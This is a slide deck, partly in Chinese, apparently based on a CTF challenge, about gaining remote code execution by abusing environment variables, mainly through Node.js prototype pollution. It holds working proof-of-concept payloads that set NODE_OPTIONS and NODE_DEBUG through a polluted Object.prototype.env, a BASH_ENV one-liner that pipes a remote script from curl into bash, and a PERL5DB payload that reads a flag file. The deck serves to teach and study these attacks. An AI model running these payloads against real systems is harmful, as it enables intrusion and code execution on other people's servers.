RCE by ENV

由一篇文章和一道题目引发的对于环境变量的探索

Think about This

// prototype pollution
app.get('/admin',(req,res)=>{
    if(manage.get(object,'username','guest') === 'admin'){
        console.log('Current User:'+object.username)

        const child = proc.fork(`${__dirname}/public/user.js`,['admin']);
        child.on('message', (body) => {
            res.status(200).send(body);
        });
        child.on('close', (code, signal) => {
            console.log(`subproccess ended with ${signal}`);
        });

    }else{
        res.status(403).send('Only Admin Can View this');
    }
})
if (isset($_GET['p'])) { foreach ($_GET['p'] as $p) { putenv($p); } }
if (file_exists($_GET['file'])) {
    var_dump(escapeshellarg($_GET['file']) . " 2>&1");
    system(escapeshellarg($_GET['file']) . " 2>&1");
}

What should we do

  • 找到一个命令
  • 这个命令的行为会被环境变量影响
  • 通过这个影响能达到我们需要的一些操作,LFI,RCE等

/bin/bash -c 'ls' 不好

 

BASH_ENV=`curl  shell.now.sh | bash` /bin/bash 好

Explore from question

// prototype pollution
app.get('/admin',(req,res)=>{
    if(manage.get(object,'username','guest') === 'admin'){
        console.log('Current User:'+object.username)

        const child = proc.fork(`${__dirname}/public/user.js`,['admin']);
        child.on('message', (body) => {
            res.status(200).send(body);
        });
        child.on('close', (code, signal) => {
            console.log(`subproccess ended with ${signal}`);
        });

    }else{
        res.status(403).send('Only Admin Can View this');
    }
})

触发原因:

原型链污染

NodeJS child_process对环境变量的处理 代码

NodeJS 利用到的几个环境变量

Prove of Concept

const child_process = require('child_process');

Object.prototype.env = {
   NODE_DEBUG : '1; throw require("child_process").execSync("sleep 7").toString()//',
   NODE_OPTIONS : '-r /proc/self/environ'
};

child_process.execSync('node');

Step1: child_process.js

Step2: spawn_sync.cc & another

Step3: libuv/src/unix/process.c & another

Step4: NodeJS cli

Prove of Concept

const child_process = require('child_process');

Object.prototype.shell = "node";

Object.prototype.env = {
   NODE_DEBUG : '1; throw require("child_process").execSync("sleep 7").toString()//',
   NODE_OPTIONS : '-r /proc/self/environ'
};

child_process.execSync('id');

About 'shell' here

Other general binaries?

Language Interpreter

/usr/bin/node NODE_OPTIONS 

/usr/bin/php PHPRC + auto_prepend_file document

/usr/bin/perl PERL5OPT=d

                        PERL5DB=BEGIN{$f=`ls /flag`; print `cat /flag/$f`} document

 

and so on

https://blog.p6.is/Abusing-Environment-Variables/

Simple & Deadly

With prototype pollution

We can almost do anything!

Made with Slides.com